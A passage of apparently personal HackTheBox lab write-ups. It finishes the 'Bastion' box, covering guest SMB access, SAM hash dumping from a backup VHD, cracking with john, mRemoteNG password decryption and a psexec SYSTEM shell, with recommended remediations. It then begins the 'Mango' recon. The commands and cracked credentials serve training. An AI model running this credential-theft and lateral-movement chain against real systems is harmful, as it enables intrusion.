do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

C$ and IPC$ are standard system shares which we likely do not have access to externally without authentication. ADMIN$ also exists, and of particular interest ‘Backups’ which seems to be a nonstandard share.

We can see similar results by running smbmap, noting that access is denied if provide a null session, but using non-existent login information allows for a connection, showing that null sessions are not allowed but guest sessions are accepted, and valid auth is not needed.

initinfosec@kali:/0ps/HTB/bastion/scans$ smbmap -H 10.10.10.134 -u "" -p ""
[!] Authentication error on 10.10.10.134
initinfosec@kali:/0ps/HTB/bastion/scans$ smbmap -H 10.10.10.134 -u "test" -p "test"
[+] Guest session       IP: 10.10.10.134:445    Name: 10.10.10.134                                      
[|] Work[!] Unable to remove test directory at \\10.10.10.134\Backups\AWOGZGYERM, please remove manually
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Backups                                                 READ, WRITE
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

Running enum4linux or enum4linux-ng shows the same information, but has no additional information to provide (other checks failed auth or returned nothing). The command run is:

enum4linux-ng -A -L -u "test" -p "test" -d 10.10.10.134

We can also run a suite of nmap NSE scripts to check for known SMB vulnerabilities, though this too comes up with nothing useful, likely indicating that exploits such as EternalBlue and other SMB RCE exploits are not likely to be viable. The nmap command run is also shown below.

sudo nmap -vv --reason -Pn -sV -p139,445  --script=smb-vuln* --script-args="unsafe=1" 10.10.10.134

We can then list the contents of the Backups folder, providing a username and password of ‘test’ again, using the below command:

initinfosec@kali:/0ps/HTB/bastion/scans$ smbclient //10.10.10.134/Backups -c 'recurse;ls' test -U test
  .                                   D        0  Fri Aug 28 14:18:50 2020
  ..                                  D        0  Fri Aug 28 14:18:50 2020
  AWOGZGYERM                          D        0  Fri Aug 28 14:18:50 2020
  note.txt                           AR      116  Tue Apr 16 05:10:09 2019
  SDT65CB.tmp                         A        0  Fri Feb 22 06:43:08 2019
  WindowsImageBackup                 Dn        0  Fri Feb 22 06:44:02 2019

\AWOGZGYERM
  .                                   D        0  Fri Aug 28 14:18:50 2020
  ..                                  D        0  Fri Aug 28 14:18:50 2020

\WindowsImageBackup
  .                                  Dn        0  Fri Feb 22 06:44:02 2019
  ..                                 Dn        0  Fri Feb 22 06:44:02 2019
  L4mpje-PC                          Dn        0  Fri Feb 22 06:45:32 2019

\WindowsImageBackup\L4mpje-PC
  .                                  Dn        0  Fri Feb 22 06:45:32 2019
  ..                                 Dn        0  Fri Feb 22 06:45:32 2019
  Backup 2019-02-22 124351           Dn        0  Fri Feb 22 06:45:32 2019
  Catalog                            Dn        0  Fri Feb 22 06:45:32 2019
  MediaId                            An       16  Fri Feb 22 06:44:02 2019
  SPPMetadataCache                   Dn        0  Fri Feb 22 06:45:32 2019

\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351
  .                                  Dn        0  Fri Feb 22 06:45:32 2019
  ..                                 Dn        0  Fri Feb 22 06:45:32 2019
  9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd     An 37761024  Fri Feb 22 06:44:03 2019
  9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd     An 5418299392  Fri Feb 22 06:45:32 2019
  BackupSpecs.xml                    An     1186  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml     An     1078  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml     An     8930  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml     An     6542  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml     An     2894  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml     An     1488  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml     An     1484  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml     An     3844  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml     An     3988  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml     An     7110  Fri Feb 22 06:45:32 2019
  cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml     An  2374620  Fri Feb 22 06:45:32 2019

\WindowsImageBackup\L4mpje-PC\Catalog
  .                                  Dn        0  Fri Feb 22 06:45:32 2019
  ..                                 Dn        0  Fri Feb 22 06:45:32 2019
  BackupGlobalCatalog                An     5698  Fri Feb 22 06:44:02 2019
  GlobalCatalog                      An     7440  Fri Feb 22 06:45:32 2019

\WindowsImageBackup\L4mpje-PC\SPPMetadataCache
  .                                  Dn        0  Fri Feb 22 06:45:32 2019
  ..                                 Dn        0  Fri Feb 22 06:45:32 2019
  {cd113385-65ff-4ea2-8ced-5630f6feca8f}     An    57848  Fri Feb 22 06:45:32 2019

                7735807 blocks of size 4096. 2758392 blocks available

Interesting, so it seems that there is a backup of a windows system in this fulter, not surprisingly. Additionally there is a note.txt file we’ll want to check out. Let’s mount the share locally, using the cifs-utils package, which will need to be installed if you don’t have it. Let’s make a directory called ‘backups’ and mount the remote filesystem locally there. Again we’lll use made up credentials of testuser as null credentials will fail to access the SMB share:

initinfosec@kali:/0ps/HTB/bastion/loot$ sudo mount -t cifs //10.10.10.134/Backups ./backups/ -o user=testuser
🔐 Password for testuser@//10.10.10.134/Backups:  ********

initinfosec@kali:/0ps/HTB/bastion/loot$ ls -ltr ./backups/
total 1
-rwxr-xr-x 1 root root   0 Feb 22  2019 SDT65CB.tmp
drwxr-xr-x 2 root root   0 Feb 22  2019 WindowsImageBackup
-r-xr-xr-x 1 root root 116 Apr 16  2019 note.txt
drwxr-xr-x 2 root root   0 Aug 28 14:18 AWOGZGYERM

Now we can cat note.txt and find the following:

Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow.

Great, so let’s see if we can view the backup files. It’s possible that these are large files that we want to mount rather than extract, should the option present, based on the above note. From the WindowsImageBackup folder we see a single PC name: “L4mpje-PC.” Looking inside, we see a backup vhd file dated 2019-02-22:

initinfosec@kali:/0ps/HTB/bastion/loot/backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351$ ls
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
BackupSpecs.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
initinfosec@kali:/0ps/HTB/bastion/loot/backups/WindowsImageBackup/L4mpje-PC/Backup 2

We’ll want to mount the vhd as discussed earlier, which guestmount should be able to do. In kali, we’ll need to install the libguestfs-tools package in order to use this tool. It appears that my current build of kali has the guestmount package removed, and grabbing the deb from debian causes a bunch of dependcy issues, so i’ll be copying the VHD files to Windows to view them there without extracting. I think guestmount would be the prefered solution to mount the VHD without extracting, so the command do to so in this context would look something like this:

initinfosec@kali:/0ps/HTB/bastion/loot/backups$ guestmount --add ./WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc*.vhd --inspector --ro ./vhd -v

Viewing the smaller VHD file 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd first, we see it appears to be the boot partition with the contents shown below.

Viewing the larger VHD file, we see what looks like a more standard filesystem backup, shown below:

Browsing through user folders and other files we don’t see anything super useful on a quick glance.

gaining an initial foothold

However, if this is a full system backup, we may be able to pull the SAM & SYSTEM files from the system directory to try to crack the credentials for the box and see if they work with SSH.

These files are usually located in C:\Windows\System32\config\. Going that directory we find both the SAM and system files, which we can then copy locally. Once copied, I transferred them back to kali in my working “loot” directory for the box. Once done, we can convert these files to hashes using the samdump2 tool in kali. The tool is run like shown below, and we see we successfully have hashes:

initinfosec@kali:/0ps/HTB/bastion/loot$ samdump2 SYSTEM SAM -o backup.hashes
initinfosec@kali:/0ps/HTB/bastion/loot$ cat backup.hashes 
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

We also see that the LM hashes for each user are blank (aad3b435b51404eeaad3b435b51404ee is a blank value hashed), indicating an NT hash format is used. We can copy the hash for the L4mpje user to it’s own file, and tell john to attempt to crack the NT hash using the below commands:

initinfosec@kali:/0ps/HTB/bastion/loot$ cat L4mpje.hash 
26112010952d963c8dc4217daec986d9
initinfosec@kali:/0ps/HTB/bastion/loot$ john L4mpje.hash -wordlist:/usr/share/wordlists/rockyou.txt --format=NT
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
bureaulampje     (?)
1g 0:00:00:00 DONE (2020-08-28 16:02) 2.380g/s 22370Kp/s 22370Kc/s 22370KC/s burg772v..burdy1
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed

Great, so we see we have some credentials: L4mpje / bureaulampje - let’s try them with SSH.

Great, it looks like that worked, and we have access to the user.txt file. Let’s try to see if we can move on to Administrator or SYSTEM access now.

Privilege Escalation

PrivEsc Enumeration

Let’s view our user information with the whoami command:

l4mpje@BASTION C:\Users\L4mpje\Desktop>whoami /all                                                                              

USER INFORMATION                                                                                                                
----------------                                                                                                                

User Name      SID                                                                                                              
============== ==============================================                                                                   
bastion\l4mpje S-1-5-21-2146344083-2443430429-1430880910-1002                                                                   


GROUP INFORMATION                                                                                                               
-----------------                                                                                                               

Group Name                             Type             SID          Attributes                                                 
====================================== ================ ============ ==================================================         
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group         
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group         
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group         
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192                                                             


PRIVILEGES INFORMATION                                                                                                          
----------------------                                                                                                          

Privilege Name                Description                    State                                                              
============================= ============================== =======                                                            
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled                                                            
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled                                                            


l4mpje@BASTION C:\Users\L4mpje\Desktop>     

OK, so it looks like we are a member of a few groups, without Administrative access, and also lack a privilege such as SeImpersonatePrivilege that would allow an exploit like juicy potato to get system access. Let’s switch to a powershell shell (simply run ‘powershell’) and then use winPEAS [found here] to further enumerate system info we can potentially use. Use python3’s http.server module to serve the executable file, and then we can download to the target like so:

PS C:\Users\L4mpje\Desktop> curl http://10.10.14.12/winpeas.exe -outfile winpeas.exe         
PS C:\Users\L4mpje\Desktop> .\winpeas.exe > results.dat ; cd c:\Backups\
PS C:\Backups> cp C:\Users\L4mpje\Desktop\results.dat results.dat                            

Now we can access and save the file locally, like so:

initinfosec@kali:/0ps/HTB/bastion/loot/backups$ cp results.dat ..

After a little viewing of the results, something that stuck out was some of the nonstandard programs installed, with the section of results from winPEAS shown below.

mRemoteNG in specific stood out to me - it is a program for managing remote connections such as SSH and RDP, and specializes in handling multiple sessions fairly well. I’ve used the program before, and seem to remember the option to store credentials for connections being a feature, so began to search if it would be possible to view or extract saved credentials from the program. It seems likely that these credentials would be encrypted, but it may be possible to decrypt them if a weak encryption passphrase was used.

Gaining a system shell

A quick web search seems to further hint that this would be a viable path, as described in this article. Additional searching reveals that there is a metasploit module for just such a functionality, github found here and Rapid7 Article here. However, I want to avoid msf usage if possible, and found a python script that pruportedly serves the same functionality, found on GitHub here.

The location of the credentials seems to be contained in an XML file called confCons.xml, so we can user powershell to query the system for that file:

 Get-ChildItem -Path c:\ -Include confCons.xml -File  -Recurse -ErrorAction SilentlyContinue

However, no results seem to be shown. After a bit of manual searching, we find a user.config file in an mRemoteNG directory under our current user’s AppData directory path at <>, but this seemed to contain nothing of potential use for privEsc, as it did not contain creds or connection settings. Some more searching shows the file we were after in the AppData Roaming folder, shown here:

PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG> dir                                                                               


    Directory: C:\Users\L4mpje\AppData\Roaming\mRemoteNG                                                                        


Mode                LastWriteTime         Length Name                                                                           
----                -------------         ------ ----                                                                           
d-----        22-2-2019     14:01                Themes                                                                         
-a----        22-2-2019     14:03           6316 confCons.xml                                                                   
-a----        22-2-2019     14:02           6194 confCons.xml.20190222-1402277353.backup                                        
-a----        22-2-2019     14:02           6206 confCons.xml.20190222-1402339071.backup                                        
-a----        22-2-2019     14:02           6218 confCons.xml.20190222-1402379227.backup                                        
-a----        22-2-2019     14:02           6231 confCons.xml.20190222-1403070644.backup                                        
-a----        22-2-2019     14:03           6319 confCons.xml.20190222-1403100488.backup                                        
-a----        22-2-2019     14:03           6318 confCons.xml.20190222-1403220026.backup                                        
-a----        22-2-2019     14:03           6315 confCons.xml.20190222-1403261268.backup                                        
-a----        22-2-2019     14:03           6316 confCons.xml.20190222-1403272831.backup                                        
-a----        22-2-2019     14:03           6315 confCons.xml.20190222-1403433299.backup                                        
-a----        22-2-2019     14:03           6316 confCons.xml.20190222-1403486580.backup                                        
-a----        22-2-2019     14:03             51 extApps.xml                                                                    
-a----        22-2-2019     14:03           5217 mRemoteNG.log                                                                  
-a----        22-2-2019     14:03           2245 pnlLayout.xml                                                                  


PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG>   

Looking at the file, we find some potentially interesting information:

PS C:\Users\L4mpje\AppData\Roaming\mRemoteNG> type .\confCons.xml                                                                                        
<?xml version="1.0" encoding="utf-8"?>                                                                                                                   
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC                         
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0                         
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">                                                                                                               
	<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="                         
 Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389"

Let’s pass the Adminstrator string to the python script downloaded from earlier, and see if we have any success.

initinfosec@kali:/0ps/tooling/privesc/windows/mRemoteNG-Decrypt$ python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
Password: thXLHM96BeKL0ER2

In a matter of moments, the password was reverted to plaintext. However, trying this password on SSH does not give a logon. However, it’s possible that the SSH config has just disallowed logon (or password based logon) for the Adminsitrator over SSH, which is good practise. Recall though that we have SMB available on the target, so we can use Impacket’s psexec python script to test the credentials, which, if they allow for successful write to the ADMIN$ share, will spawn a system shell. The command generally looks like: python3 psexec.py WORKGROUP/user:password@IP and is shown below.

initinfosec@kali:/0ps/HTB/bastion/loot$ python3 /usr/local/bin/psexec.py WORKGROUP/Administrator:thXLHM96BeKL0ER2@10.10.10.134                  [10/3475]
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation                                                                                                 
                                                                                                                                                         
[*] Requesting shares on 10.10.10.134.....                                                                                                               
[*] Found writable share ADMIN$                                                                                                                          
[*] Uploading file QbqIPkFW.exe                                                                                                                          
[*] Opening SVCManager on 10.10.10.134.....                                                                                                              
[*] Creating service POZv on 10.10.10.134.....                                                                                                           
[*] Starting service POZv.....                                                                                                                           
[!] Press help for extra shell commands                                                                                                                  
Microsoft Windows [Version 10.0.14393]                                                                                                                   
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

So we see that this password was indeed successful, allowing us to use the Administrative access to spawn a system process and gain a shell as NT_AUTHOIRTY_SYSTEM, as shown in the following screenshot.

Great, from here we can grab root.txt and call it done.

Conclusion

Recommended Remediations

Recommended to disallow guest authentication to SMB. This would lessen a fair bit of attack surface for potential malicious actors, and would have closed the route used to gain a system foothold during the assessent.
If storing backups that contain sensitive information (such as system passwords), store them in a place with appropriate permission restrictions on them. The backups directory should be password protected.
Consider upgrading or migrating away from the mRemoteNG application in order to address the insecure password storage vulnerabilites exploited that allowed for a system shell during the assessment.

All for now; until next time.

~@initinfosec

HacktheBox 'Mango' writeup

Thu, 27 Aug 2020 12:00:00 -0500

‘Mango’ HTB Writeup

Host Information

Hostname	IP Address	Operating System	Difficulty Level
Mango	10.10.10.162	Linux	Medium

view all writeups here

[toc]

‘Mango’ HTB Writeup

Initial Recon

nmap information

An initial full TCP nmap scan of the host was run with the followiong command:

nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/mango/scans/_full_tcp_nmap.txt" -oX "/HTB/mango/scans/xml/_full_tcp_nmap.xml" 10.10.10.162

The following ports were revealed open on the target, followed by the full nmap script ouput below:

10.10.10.162

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp	open	http	Apache httpd 2.4.29
443/tcp	open	http	Apache httpd 2.4.29

nmap scan output

# Nmap 7.80 scan initiated Thu Aug 27 13:57:04 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /HTB/mango/scans/_full_tcp_nmap.txt -oX /HTB/mango/scans/xml/_full_tcp_nmap.xml 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up, received user-set (0.031s latency).
Scanned at 2020-08-27 13:57:04 CDT for 52s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXYCdNRHET98F1ZTM+H8yrD9KXeRjvIk9e78JkHdzcqCq6zcvYIqEZReb3FSCChJ9mxK6E6vu5xBY7R6Gi0V31dx0koyaieEMd67PU+9UcjaAujbDS3UgYzySN+c5GV/ssmA6wWHu4zz+k+qztqdYFPh0/TgrC/wNPWHOKdpivgoyk3+F/retyGdKUNGjypXrw6v1faHiLOIO+zNHorxB304XmSLEFswiOS8UsjplIbud2KhWPEkY4s4FyjlpfpVdgPljbjijm7kcPNgpTXLXE51oNE3Q5w7ufO5ulo3Pqm0x+4d+SEpCE4g0+Yb020zK+JlKsp2tFJyLqTLan1buN
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDqSZ4iBMzBrw2lEFKYlwO2qmw0WPf76ZhnvWGK+LJcHxvNa4OQ/hGuBWCjVlTcMbn1Te7D8jGwPgbcVpuaEld8=
|   256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB1sFdLYacK+1f4J+i+NCAhG+bj8xzzydNhqA1Ndo/xt
80/tcp  open  http     syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN/emailAddress=admin@mango.htb/organizationalUnitName=None/localityName=None
| Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN/emailAddress=admin@mango.htb/organizationalUnitName=None/localityName=None
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-09-27T14:21:19
| Not valid after:  2020-09-26T14:21:19
| MD5:   b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6
| SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95
| -----BEGIN CERTIFICATE-----
| MIIEAjCCAuqgAwIBAgIJAK5QiSmoBvEyMA0GCSqGSIb3DQEBCwUAMIGVMQswCQYD
| VQQGEwJJTjENMAsGA1UECAwETm9uZTENMAsGA1UEBwwETm9uZTEXMBUGA1UECgwO
| TWFuZ28gUHJ2IEx0ZC4xDTALBgNVBAsMBE5vbmUxIDAeBgNVBAMMF3N0YWdpbmct
| b3JkZXIubWFuZ28uaHRiMR4wHAYJKoZIhvcNAQkBFg9hZG1pbkBtYW5nby5odGIw
| HhcNMTkwOTI3MTQyMTE5WhcNMjAwOTI2MTQyMTE5WjCBlTELMAkGA1UEBhMCSU4x
| DTALBgNVBAgMBE5vbmUxDTALBgNVBAcMBE5vbmUxFzAVBgNVBAoMDk1hbmdvIFBy
| diBMdGQuMQ0wCwYDVQQLDAROb25lMSAwHgYDVQQDDBdzdGFnaW5nLW9yZGVyLm1h
| bmdvLmh0YjEeMBwGCSqGSIb3DQEJARYPYWRtaW5AbWFuZ28uaHRiMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5fimSfgq3xsdUkZ6dcbqGPDmCAJJBOK2
| f5a25At3Ht5r1SjiIuvovDSmMHjVmlbF6qX7C6f7Um+1Vtv/BinZfpuMEesyDH0V
| G/4X5r6o1GMfrvjvAXQ2cuVEIxHGH17JM6gKKEppnguFwVMhC4/KUIjuaBXX9udA
| 9eaFJeiYEpdfSUVysoxQDdiTJhwyUIPnsFrf021nVOI1/TJkHAgLzxl1vxrMnwrL
| 2fLygDt1IQN8UhGF/2UTk3lVfEse2f2kvv6GbmjxBGfWCNA/Aj810OEGVMiS5SLr
| arIXCGVl953QCD9vi+tHB/c+ICaTtHd0Ziu/gGbdKdCItND1r9kOEQIDAQABo1Mw
| UTAdBgNVHQ4EFgQUha2bBOZXo4EyfovW+pvFLGVWBREwHwYDVR0jBBgwFoAUha2b
| BOZXo4EyfovW+pvFLGVWBREwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsF
| AAOCAQEAmyhYweHz0az0j6UyTYlUAUKY7o/wBHE55UcekmWi0XVdIseUxBGZasL9
| HJki3dQ0mOEW4Ej28StNiDKPvWJhTDLA1ZjUOaW2Jg20uDcIiJ98XbdBvSgjR6FJ
| JqtPYnhx7oOigKsBGYXXYAxoiCFarcyPyB7konNuXUqlf7iz2oLl/FsvJEl+YMgZ
| YtrgOLbEO6/Lot/yX9JBeG1z8moJ0g+8ouCbUYI1Xcxipp0Cp2sK1nrfHEPaSjBB
| Os2YQBdvVXJau7pt9zJmPVMhrLesf+bW5CN0WpC/AE1M1j6AfkX64jKpIMS6KAUP
| /UKaUcFaDwjlaDEvbXPdwpmk4vVWqg==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Aggressive OS guesses: AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.2 - 4.9 (94%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.18 (92%), Linux 2.6.32 (92%), Linux 3.16 (91%), Android 4.1.2 (90%), Android 4.2.2 (Linux 3.4) (90%), Linux 3.1 - 3.2 (90%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/27%OT=22%CT=1%CU=36994%PV=Y%DS=2%DC=T%G=Y%TM=5F48023
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)SEQ(SP=FF
OS:%GCD=1%ISR=10A%TI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11N
OS:W7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120
OS:%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T
OS:1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T5(R=N)T6(R=N)T6(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 21.366 days (since Thu Aug  6 05:10:37 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT      ADDRESS
1   30.53 ms 10.10.14.1
2   30.62 ms 10.10.10.162

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 27 13:57:57 2020 -- 1 IP address (1 host up) scanned in 52.70 seconds

nmap scan observations

We can see that the target is Linux, likely Ubuntu based on the OS detection scripts from nmap and the banner grab from the SSH Service. Three ports/services are shown externally visible: Two services running Apache 2.4.29, one on using HTTP on standard TCP port 80, and the other using HTTPS on standard TCP port 443, as well as OpenSSH 7.6p1 which was running on the standard TCP port 22.

HTTP Enumeration

Beginning with enumeration of the HTTP service, we see that robots.txt file was not present on the server. A nikto scan against port 80 was also run but reported nothing of note. Addtionally a web crawl scan of the server on port 80 seemed to show all 403 status pages (using seclists web discovery common.txt list.) Going to the main page of the server on port 80 explains this result, as this page is also forbidden, as shown below.

HTTPS Enumeration

The HTTPS webserver on the other hand seems to load a page that looks much like the Google search engine, as shown below.

A robots.txt file was not found on this server either. A nikto scan was run against port 443 with the following reuslts:

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.162
+ Target Hostname:    10.10.10.162
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=IN/ST=None/L=None/O=Mango Prv Ltd./OU=None/CN=staging-order.mango.htb/emailAddress=admin@mango.htb
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=IN/ST=None/L=None/O=Mango Prv Ltd./OU=None/CN=staging-order.mango.htb/emailAddress=admin@mango.htb
+ Start Time:         2020-08-27 13:57:23 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
